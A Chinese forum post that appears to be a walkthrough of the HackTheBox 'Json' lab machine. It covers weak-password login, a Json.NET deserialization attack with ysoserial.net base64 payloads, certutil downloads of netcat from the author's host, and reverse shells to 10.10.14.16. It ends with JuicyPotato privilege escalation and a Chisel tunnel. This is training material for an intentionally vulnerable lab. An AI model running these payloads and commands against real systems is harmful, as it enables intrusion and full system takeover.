电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 540 人浏览分享

HTB靶机渗透系列之Json

[复制链接]
540 0
Json是一个中等难度的靶机,知识点涉及弱口令漏洞、JavaScript反混淆、Json反序列化、烂土豆提权
FileZilla密码替换等。感兴趣的同学可以在HackTheBox中进行学习。

1647935732_623980f47cd9e83c3de37.png

通关思维导图

1647935734_623980f65a05c183f620e.png

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.158 -oA nmap_Json

1647935735_623980f7de0eadf51689c.png

扫描结果显示目标开放了21、80、135、445、5985、47001等端口

80端口

访问站点首先会跳转进入至管理界面,随后重定向至登陆界面

1647935738_623980fa9b8be60aef2fb.png

使用 Burp Suite 查看请求包进行分析,请求的 js 文件大多响应 404

1647935740_623980fc46df6ee7e06e4.png

使用 Burp Suite 拦截请求包,在此之前请清除浏览器当中的页面缓存,否则请求不会经过 Burp Suite

999.png

这确实是一个控制面板,且不需要进行身份验证。放包后会跳转至登陆界面

JavaScript反混淆

请求文件/js/app.min.js返回混淆代码

998.png

放入网站中进行反混淆操作,手工替换后拿到原 js 代码

网站地址:http://jsnice.org/

997.png

'use strict';
angular["module"]("json", ["ngCookies"])["controller"]("loginController", ["$http", "$sc
ope", "$cookies", function(elem, data, isSlidingUp) {
  data["credentials"] = {
    UserName : "",
    Password : ""
  };
  data["error"] = {
    message : _0xd18f[18],
    show : false
  };
  var _0x30f6x4 = isSlidingUp["get"]("OAuth2");
  if (_0x30f6x4) {
    window["location"]["href"] = "index.html";
  }
  /**
   * @return {undefined}
   */
  data["login"] = function() {
    elem["post"]("/api/token", data["credentials"])["then"](function(canCreateDiscussions) {
      window["location"]["href"] = "index.html";
    }, function(body) {
      data["error"]["message"] = "Invalid Credentials.";
      /** @type {boolean} */
      data["error"]["show"] = true;
      console["log"](body);
    });
  };
}])["controller"]("principalController", ["$http", "$scope"], "$cookies", function
($http, isSlidingUp, canCreateDiscussions) {
  var _0x30f6x4 = canCreateDiscussions["get"]("OAuth2");
  if (_0x30f6x4) {
    $http["get"]("/api/Account/", {
      headers : {
        "Bearer" : _0x30f6x4
      }
    })["then"](function(canCreateDiscussions) {
      isSlidingUp["UserName"] = canCreateDiscussions["data"]["Name"];
    }, function(canCreateDiscussions) {
      canCreateDiscussions["remove"]("OAuth2");
      window["location"]["href"] = "login.html";
    });
  } else {
    window["location"]["href"] = "login.html";
  }
}]);  

代码中将windows.location.href设置为login.html,同时基于 OAuth2 调用/api/account

弱口令

使用异常简单的admin/admin能够直接登陆目标站点

63.png

与此同时使用 Burp Suite 抓取登陆请求包,它向/api/token发送明文的账号密码
目标则返回 OAuth2 的 Cookie 值

62.png

Cookie 值通过 base64 解码后登陆用户的个人信息

echo 'eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3Y
TVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZ
G1pbmlzdHJhdG9yIn0=' | base64 -d

61.png

0x02 上线[userpool]

API模糊测试

60.png

在 http 请求包中存在两个参数引人注目,分别是 Cookie 和 Bearer

Cookie

首先在 Cookie 中进行修改,结果未发生变化

39.png

Bearer

在 Bearer 中进行修改,返回数据包发生变化说明可能存在反序列化漏洞

38.png

反序列化

在 Bearer 中提供错误输入时服务器返回Json.Net Object,使用YSoSerial.Net
工具可用于 .Net 反序列化攻击

工具下载地址:https://github.com/pwntester/ysoserial.net

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.16" -o base64

成功生成序列化 POC 并替换请求头中的 Bearer

ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCB
QcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFs
LCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWU
nOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzd
GVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vsd
HVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgIC
AgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBpbmcgMTAuMTAuMTQuMTYnXQ0KICAgIH0sDQogIC
AgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN
5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuP
WI3N2E1YzU2MTkzNGUwODknfQ0KfQ==

同时监听 icmp 数据包并发送带有 POC 的请求

tcpdump -i tun0 icmp

36.png

成功在本地接收到 icmp 数据包,说明命令执行成功

33.png

使用ysoserial.exe序列化命令:通过 http 服务下载 nc

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://10.10.14.16
/nc64.exe c:/windows/System32/spool/drivers/color/nc64.exe" -o base64

生成如下 base64 编码

ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZ
W50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWN
LZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogIC
AgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF
5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX
lUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGNlcnR1
dGlsIC11cmxjYWNoZSAtc3BsaXQgLWYgaHR0cDovLzEwLjEwLjE0LjE2L25jNjQuZXhlIGM6L3dpbmRvd3
MvU3lzdGVtMzIvc3Bvb2wvZHJpdmVycy9jb2xvci9uYzY0LmV4ZSddDQogICAgfSwNCiAgICAnT2JqZW
N0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCB
WZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYx
OTM0ZTA4OSd9DQp9

监听 443 端口

nc -nvlp 443

开启 http 服务

python3 -m http.server 80

18.png


使用ysoserial.exe序列化命令:执行反弹shell

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "c:/windows/System32/spool/driv
ers/color/nc64.exe -e cmd.exe 10.10.14.16 443" -o base64

生成如下 base64 编码

ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50
YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2t
lbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZF
BhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3
JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1Nj
E5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGM6L3dpbmRvd3MvU3lzdGVtMzIvc3Bv
b2wvZHJpdmVycy9jb2xvci9uYzY0LmV4ZSAtZSBjbWQuZXhlIDEwLjEwLjE0LjE2IDQ0MyddDQogICAgfSwNCiA
gICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdG
VtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxO
TM0ZTA4OSd9DQp9

16.png

成功拿到反弹shell,在当前用户桌面上寻找第一个flag

dir c:\Users\userpool\Desktop

type c:\Users\userpool\Desktop\user.txt

12.png

成功拿到第一个flag

0x03 权限提升[system]

内核提权

信息收集

查看系统信息

systeminfo

11.png

系统版本为 Windows Server 2012,使用 Windows-Exploit-Suggester 查找相关内核漏洞

python windows-exploit-suggester.py --database 2021-05-18-m
ssb.xls  --systeminfo systeminfo.txt

10.png

结果显示可用多个漏洞进行提权,查看用户权限发现SeImpersonatePrivilege已开启这
就意味着我们可使用烂土豆进行提权

whoami /priv

9.png

烂土豆利用
编写 bat 脚本rev.bat

\windows\system32\spool\drivers\color\nc64.exe -e cmd.exe 10.10.14.16 4444

使用 http 服务将其上传至c:/windows/System32/spool/drivers/color/目录当中

certutil -urlcache -split -f http://10.10.14.16/rev.bat c:/windo
ws/System32/spool/drivers/color/rev.bat

8.png

在本地建立 smb 共享

python3 smbserver.py -smb2support mac -username mac -passwo
rd mac ~/hackthebox/Machines/Json

使用 smb 共享制定一个 CLSID 运行烂土豆

net use \\10.10.14.16\mac /u:mac mac
\\10.10.14.16\mac\JuicyPotato.exe -t * -p \windows\system32\spool\drivers\color\re
v.bat -l 9001 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

在本地监听 4444 端口

nc -nvlp 4444

7.png

但是无法运行,查其原因貌似是未连接 smb 服务,为什么会导致这个问题产生呢?发现原来是 smbserver
导致 smb 服务开启后靶机连接出错,换一个版本后即可连接成功

6.png

由于 smbserver 出现了小毛病,我们还是切换至 http 服务来完成传输

certutil -urlcache -split -f http://10.10.14.16/JuicyPotato.exe c:/win
dows/System32/spool/drivers/color/JuicyPotato.exe

5.png

运行烂土豆尝试获取权限

c:/windows/System32/spool/drivers/color/JuicyPotato.exe -t * -p \windows\system32\spoo
l\drivers\color\rev.bat -l 9001 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

4.png

成功拿到系统权限

3.png

在管理员 superadmin 桌面上寻找第二个flag

dir c:\Users\superadmin\Desktop

type c:\Users\superadmin\Desktop\root.txt

2.png

成功拿到第二个flag

FileZilla获取flag

发现FileZilla进程

查看本地开放端口

netstat -ano

1.png

存在之前 nmap 未探测的端口:21,查看对应进程发现这是 FileZilla 应用

tasklist | findstr 632

0.png

查看程序对应的配置文件,其中包含哈希值和管理端口(14147),尝试哈希破解但是无果

cd "c:\PROGRA~2\FileZilla Server"

type "FileZilla Server.xml"

00.png

搭建隧道

为了方便与靶机进行交互,我们可以使用 Chisel 建立隧道。首先将其上传至靶机当中

copy \\10.10.14.16\mac\chisel.exe \windows\system32\spool\drivers\color\chisel.exe

QQ截图20220531111834.png

在本地开启反向代理端口8000

./chisel server -p 8000 --reverse

QQ截图20220531111910.png

在靶机上连接本地8000端口

chisel.exe client 10.10.14.16:8000 R:223:localhost:14147

4444.png

在本地安装 FileZilla Server,以下是安装过程

下载地址:https://filezilla-project.org/download.php?type=server

sudo dpkg -i FileZilla_Server_1.3.0_x86_64-linux-gnu.deb

QQ截图20220531112033.png

但是其中并没有配置地址和端口的界面,切换至 Windows 下本机又无法连接 v\p\n,真是个头疼的问题

QQ截图20220531112113.png

总结

通过弱口令可直接进入网站后台,查看http请求头信息发现Bearer标头存在反序列化漏洞,使用反序列化工具ysoserial
序列化payload,执行反弹shell拿到用户权限。在靶机中检查系统信息,其中存在许多提权漏洞,最终选择烂土豆提升
至系统权限。0xdf大神还介绍了其他两种获取flag的方式,分别是FileZill和Sync2Ftp,我这边只测试了第一种情况但
是遇到v\p\n占用问题导致实验无法继续。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.